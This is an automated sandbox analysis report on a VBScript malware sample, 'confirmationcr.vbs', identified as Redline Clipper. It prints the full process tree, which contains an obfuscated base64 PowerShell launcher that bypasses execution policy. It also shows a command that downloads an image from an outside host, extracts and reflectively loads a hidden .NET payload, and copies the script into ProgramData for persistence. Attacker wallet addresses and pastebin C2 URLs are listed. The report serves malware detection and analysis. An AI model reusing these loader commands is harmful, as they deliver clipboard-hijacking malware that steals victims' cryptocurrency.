Edit tour

Windows Analysis Report
confirmationcr.vbs

Overview

General Information

Sample name:	confirmationcr.vbs
Analysis ID:	1369663
MD5:	797dd297fa0996819e52cb5a00eb9177
SHA1:	268513b9cb8dfebb735aca32bdeffb7966252f76
SHA256:	da0776fc33632d70db7a37723bf8a3f91098cfd8ef7decc7a2a7f8f655974ea4
Tags:	vbs
Infos:

Detection

Redline Clipper

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Sigma detected: Powershell download and load assembly

VBScript performs obfuscated calls to suspicious functions

Yara detected Redline Clipper

Bypasses PowerShell execution policy

Connects to a pastebin service (likely for C&C)

Creates autostart registry keys with suspicious values (likely registry only malware)

Found suspicious powershell code related to unpacking or dynamic code loading

Injects a PE file into a foreign processes

Suspicious execution chain found

Suspicious powershell command line found

Very long command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Found URL in obfuscated visual basic script code

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1524 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\confirmationcr.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 2984 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'JDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVQByDgTreGwDgTreIDgTreDgTre9DgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredwBhDgTreGwDgTrebDgTreBwDgTreGEDgTrecDgTreBlDgTreHIDgTreYwBhDgTreHYDgTreZQDgTreuDgTreGMDgTrebwBtDgTreC8DgTredQB3DgTreHDgTreDgTreLwB1DgTreHcDgTrecDgTreDgTre0DgTreDIDgTreMDgTreDgTrezDgTreDkDgTreOQDgTre0DgTreC4DgTrecDgTreBuDgTreGcDgTreJwDgTre7DgTreCQDgTredwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreTgBlDgTreHcDgTreLQBPDgTreGIDgTreagBlDgTreGMDgTredDgTreDgTregDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreTgBlDgTreHQDgTreLgBXDgTreGUDgTreYgBDDgTreGwDgTreaQBlDgTreG4DgTredDgTreDgTre7DgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreEIDgTreeQB0DgTreGUDgTrecwDgTregDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBVDgTreHIDgTrebDgTreDgTrepDgTreDsDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEUDgTrebgBjDgTreG8DgTreZDgTreBpDgTreG4DgTreZwBdDgTreDoDgTreOgBVDgTreFQDgTreRgDgTre4DgTreC4DgTreRwBlDgTreHQDgTreUwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreKQDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTrekDgTreGUDgTrebgBkDgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBFDgTreE4DgTreRDgTreDgTre+DgTreD4DgTreJwDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreSQBuDgTreGQDgTreZQB4DgTreE8DgTreZgDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreKQDgTre7DgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTreZQDgTregDgTreDDgTreDgTreIDgTreDgTretDgTreGEDgTrebgBkDgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTredDgTreDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreCsDgTrePQDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreDsDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBDDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBTDgTreHUDgTreYgBzDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTresDgTreCDgTreDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTrepDgTreDsDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreQwBvDgTreG4DgTredgBlDgTreHIDgTredDgTreBdDgTreDoDgTreOgBGDgTreHIDgTrebwBtDgTreEIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBDDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreCkDgTreOwDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreUgBlDgTreGYDgTrebDgTreBlDgTreGMDgTredDgTreBpDgTreG8DgTrebgDgTreuDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQBdDgTreDoDgTreOgBMDgTreG8DgTreYQBkDgTreCgDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreCDgTreDgTrePQDgTregDgTreCQDgTrebDgTreBvDgTreGEDgTreZDgTreBlDgTreGQDgTreQQBzDgTreHMDgTreZQBtDgTreGIDgTrebDgTreB5DgTreC4DgTreRwBlDgTreHQDgTreVDgTreB5DgTreHDgTreDgTreZQDgTreoDgTreCcDgTreQQBzDgTreHDgTreDgTrebwBzDgTreGUDgTreLgBEDgTreHIDgTreYQB3DgTreGkDgTrebgBnDgTreFMDgTrecDgTreBlDgTreGMDgTreLgBQDgTreGsDgTreaQBrDgTreEEDgTredDgTreB0DgTreHIDgTreQwBlDgTreHIDgTredDgTreBODgTreEIDgTreJwDgTrepDgTreDsDgTreJDgTreBtDgTreGUDgTredDgTreBoDgTreG8DgTreZDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreLgBHDgTreGUDgTredDgTreBNDgTreGUDgTredDgTreBoDgTreG8DgTreZDgTreDgTreoDgTreCcDgTreUgB1DgTreG4DgTreJwDgTrepDgTreC4DgTreSQBuDgTreHYDgTrebwBrDgTreGUDgTreKDgTreDgTrekDgTreG4DgTredQBsDgTreGwDgTreLDgTreDgTregDgTreFsDgTrebwBiDgTreGoDgTreZQBjDgTreHQDgTreWwBdDgTreF0DgTreIDgTreDgTreoDgTreCcDgTreaDgTreB0DgTreHQDgTrecDgTreBzDgTreDoDgTreLwDgTrevDgTreHDgTreDgTreYQBzDgTreHQDgTreZQDgTreuDgTreGYDgTrebwDgTrevDgTreHIDgTreYQB3DgTreC8DgTreYQDgTre3DgTreDQDgTreZDgTreDgTrezDgTreGUDgTreZDgTreDgTre1DgTreDQDgTreYgBhDgTreDEDgTrePwBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreGQDgTreZQBzDgTreGEDgTredDgTreBpDgTreHYDgTreYQBkDgTreG8DgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreDIDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreFYDgTreYgBzDgTreE4DgTreYQBtDgTreGUDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreDEDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreEMDgTreOgBcDgTreFDgTreDgTrecgBvDgTreGcDgTrecgBhDgTreG0DgTreRDgTreBhDgTreHQDgTreYQBcDgTreCcDgTreLDgTreDgTregDgTreCcDgTreTDgTreBuDgTreGsDgTreTgBhDgTreG0DgTreZQDgTrenDgTreCwDgTreJwBBDgTreGQDgTreZDgTreBJDgTreG4DgTreUDgTreByDgTreG8DgTreYwBlDgTreHMDgTrecwDgTrezDgTreDIDgTreJwDgTresDgTreCcDgTreZDgTreBlDgTreHMDgTreYQB0DgTreGkDgTredgBhDgTreGQDgTrebwDgTrenDgTreCwDgTreJwBkDgTreGUDgTrecwBhDgTreHQDgTreaQB2DgTreGEDgTreZDgTreBvDgTreCcDgTreLDgTreDgTrenDgTreGQDgTreZQBzDgTreGEDgTredDgTreBpDgTreHYDgTreYQBkDgTreG8DgTreJwDgTrepDgTreCkDgTre';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2284 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3668 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "$imageUrl = 'https://wallpapercave.com/uwp/uwp4203994.png';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Aspose.DrawingSpec.PkikAttrCertNB');$method = $type.GetMethod('Run').Invoke($null, [object[]] ('https://paste.fo/raw/a74d3ed54ba1?download' , 'desativado' , '2' , 'VbsName' , '1' , 'C:\ProgramData\', 'LnkName','AddInProcess32','desativado','desativado','desativado')) MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 4144 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Desusertion C:\ProgramData\VbsName.vbs MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4108 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AddInProcess32.exe (PID: 3348 cmdline: C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe MD5: 9827FF3CDF4B83F9C86354606736CA9C)

AddInProcess32.exe (PID: 1272 cmdline: C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe MD5: 9827FF3CDF4B83F9C86354606736CA9C)

wscript.exe (PID: 2148 cmdline: "C:\Windows\System32\WScript.exe" "C:\ProgramData\VbsName.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

wscript.exe (PID: 5272 cmdline: "C:\Windows\System32\WScript.exe" "C:\ProgramData\VbsName.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cleanup

Malware Configuration

Threatname: Redline Clipper

{"Wallet Addresses": ["0xe83e13519074b66ED4fEa23Bf8B18402417504cf", "DFHGrZZVdeJioKHuMtJsT8BjRa7JACkJ8x", "LQ3N47jbUeN1ncAxjL2bQxdbfrTv6DQEwq", "XwPYYFb9s2fCKgZdRJTSLkGy79rNXRnSqM", "46iBmeV6Z5VFEi6q4iGT8A7nzuxwA3AHsZajPsLEbHhFhDEs1SAk3jWWiNdn5CWRHxdsnqvEomjGT3pECWB7BTpsPGEi6Yu"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000008.00000002.2724487700.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedlineClipper	Yara detected Redline Clipper	Joe Security
00000004.00000002.1513578120.000001B91593F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedlineClipper	Yara detected Redline Clipper	Joe Security
Process Memory Space: powershell.exe PID: 2984	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x472f4:$b2: ::FromBase64String( 0x48681:$b2: ::FromBase64String( 0x48b22:$b2: ::FromBase64String( 0x490eb:$b2: ::FromBase64String( 0x49545:$b2: ::FromBase64String( 0x1780a8:$b2: ::FromBase64String( 0x47168:$b3: ::UTF8.GetString( 0x484f5:$b3: ::UTF8.GetString( 0x48996:$b3: ::UTF8.GetString( 0x48f5f:$b3: ::UTF8.GetString( 0x493b9:$b3: ::UTF8.GetString( 0x177f1c:$b3: ::UTF8.GetString( 0x18788:$s1: -join 0xc73a2:$s1: -join 0x7a0a3:$s3: reverse 0x8599d:$s3: reverse 0xcf0f2:$s3: reverse 0xd808f:$s3: reverse 0x1240d9:$s3: reverse 0x126068:$s3: reverse 0x12d47c:$s3: reverse
Process Memory Space: powershell.exe PID: 3668	JoeSecurity_RedlineClipper	Yara detected Redline Clipper	Joe Security
Process Memory Space: powershell.exe PID: 3668	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xce79:$b2: ::FromBase64String( 0xd2c8:$b2: ::FromBase64String( 0x10a41:$b2: ::FromBase64String( 0x10e97:$b2: ::FromBase64String( 0x114ee:$b2: ::FromBase64String( 0x11aff:$b2: ::FromBase64String( 0xd655ed:$b2: ::FromBase64String( 0xd67012:$b2: ::FromBase64String( 0xd6f834:$b2: ::FromBase64String( 0x144558d:$b2: ::FromBase64String( 0x14459dc:$b2: ::FromBase64String( 0x144698c:$b2: ::FromBase64String( 0x1e4895f:$b2: ::FromBase64String( 0x1e48f1e:$b2: ::FromBase64String( 0x200684f:$b2: ::FromBase64String( 0x2006c2b:$b2: ::FromBase64String( 0x200b8a2:$b2: ::FromBase64String( 0xcced:$b3: ::UTF8.GetString( 0xd13c:$b3: ::UTF8.GetString( 0x108b5:$b3: ::UTF8.GetString( 0x10d0b:$b3: ::UTF8.GetString(
Process Memory Space: AddInProcess32.exe PID: 1272	JoeSecurity_RedlineClipper	Yara detected Redline Clipper	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
8.2.AddInProcess32.exe.400000.0.unpack	JoeSecurity_RedlineClipper	Yara detected Redline Clipper	Joe Security
4.2.powershell.exe.1b915946908.0.raw.unpack	JoeSecurity_RedlineClipper	Yara detected Redline Clipper	Joe Security

Sigma Signatures

Data Obfuscation

Sigma detected: Powershell download and load assembly

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "$imageUrl = 'https://wallpapercave.com/uwp/uwp4203994.png';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Aspose.DrawingSpec.PkikAttrCertNB');$method = $type.GetMethod('Run').Invoke($null, [object[]] ('https://paste.fo/raw/a74d3ed54ba1?download' , 'desativado' , '2' , 'VbsName' , '1' , 'C:\ProgramData\', 'LnkName','AddInProcess32','desativado','desativado','desativado')), CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "$imageUrl = 'https://wallpapercave.com/uwp/uwp4203994.png';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Aspose.DrawingSpec.PkikAttrCertNB');$method = $type.GetMethod('Run').Invoke($null, [object[]] ('https://paste.fo/raw/a74d3ed54ba1?download' , 'desativado' , '2' , 'VbsName' , '1' , 'C:\ProgramData\', 'LnkName','AddInProcess32','desativado','desativado','desativado')), CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'JDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVQByDgTreGwDgTreIDgTreDgTre9DgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredwBhDgTreGwDgTrebDgTreBwDgTreGEDgTrecDgTreBlDgTreHIDgTreYwBhDgTreHYDgTreZQDgTreuDgTreGMDgTrebwBtDgTreC8DgTredQB3DgTreHDgTreDgTreLwB1DgTreHcDgTrecDgTreDgTre0DgTreDIDgTreMDgTreDgTrezDgTreDkDgTreOQDgTre0DgTreC4DgTrecDgTreBuDgTreGcDgTreJwDgTre7DgTreCQ

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://pesterbdd.com/images/Pester.png

URL Reputation: Label: malware

Found malware configuration

Source: 8.2.AddInProcess32.exe.400000.0.unpack

Malware Configuration Extractor: Redline Clipper {"Wallet Addresses": ["0xe83e13519074b66ED4fEa23Bf8B18402417504cf", "DFHGrZZVdeJioKHuMtJsT8BjRa7JACkJ8x", "LQ3N47jbUeN1ncAxjL2bQxdbfrTv6DQEwq", "XwPYYFb9s2fCKgZdRJTSLkGy79rNXRnSqM", "46iBmeV6Z5VFEi6q4iGT8A7nzuxwA3AHsZajPsLEbHhFhDEs1SAk3jWWiNdn5CWRHxdsnqvEomjGT3pECWB7BTpsPGEi6Yu"]}

Source: unknown	HTTPS traffic detected: 172.67.187.200:443 -> 192.168.2.9:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.22.53.71:443 -> 192.168.2.9:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.70.240:443 -> 192.168.2.9:49707 version: TLS 1.2

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: paste.ee

Source: VbsName.vbs.5.dr	Binary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport><force/></analyze_input> - obfuscation quality: 4
Source: VbsName.vbs.5.dr	Binary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport></analyze_input> - obfuscation quality: 4

Source: global traffic	HTTP traffic detected: GET /uwp/uwp4203994.png HTTP/1.1Host: wallpapercave.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/a74d3ed54ba1?download HTTP/1.1Host: paste.foConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 172.67.187.200 172.67.187.200
Source: Joe Sandbox View	IP Address: 104.22.53.71 104.22.53.71

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic

HTTP traffic detected: GET /d/2lAW3 HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Language: en-chUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: paste.ee

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /d/2lAW3 HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: en-chUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: paste.ee
Source: global traffic	HTTP traffic detected: GET /uwp/uwp4203994.png HTTP/1.1Host: wallpapercave.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/a74d3ed54ba1?download HTTP/1.1Host: paste.foConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: paste.ee

Source: powershell.exe, 00000005.00000002.1548673594.000001DEF1774000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: powershell.exe, 00000004.00000002.1605454654.000001B924D51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1508440162.000001DE818BE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1540342165.000001DE9007E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1540342165.000001DE901B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000004.00000002.1513578120.000001B9150DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1513578120.000001B915918000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://paste.fo
Source: powershell.exe, 00000005.00000002.1508440162.000001DE81837000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.1849817106.000002601EB7C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1513578120.000001B914CE1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1508440162.000001DE80001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000005.00000002.1508440162.000001DE81489000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000005.00000002.1508440162.000001DE81837000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.1849817106.000002601EAFE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000002.00000002.1849817106.000002601EB4C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1513578120.000001B914CE1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1508440162.000001DE80001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: wscript.exe, 00000000.00000002.1447983781.00000221FD15D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee
Source: wscript.exe, 00000000.00000002.1447983781.00000221FD15D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee;
Source: wscript.exe, 00000000.00000002.1447983781.00000221FD15D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com
Source: wscript.exe, 00000000.00000002.1447983781.00000221FD15D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com;
Source: powershell.exe, 00000005.00000002.1540342165.000001DE901B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000005.00000002.1540342165.000001DE901B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000005.00000002.1540342165.000001DE901B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000004.00000002.1513578120.000001B9150DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firebasestorage.googleapis.com/v0/b/connectsus-6028a.appspot.com/o/njrat.txt?alt=media&token
Source: wscript.exe, 00000000.00000002.1447983781.00000221FD15D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com
Source: wscript.exe, 00000000.00000002.1447983781.00000221FD15D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com;
Source: powershell.exe, 00000005.00000002.1508440162.000001DE81837000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000004.00000002.1605454654.000001B924D51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1508440162.000001DE818BE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1540342165.000001DE9007E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1540342165.000001DE901B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000005.00000002.1508440162.000001DE81489000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
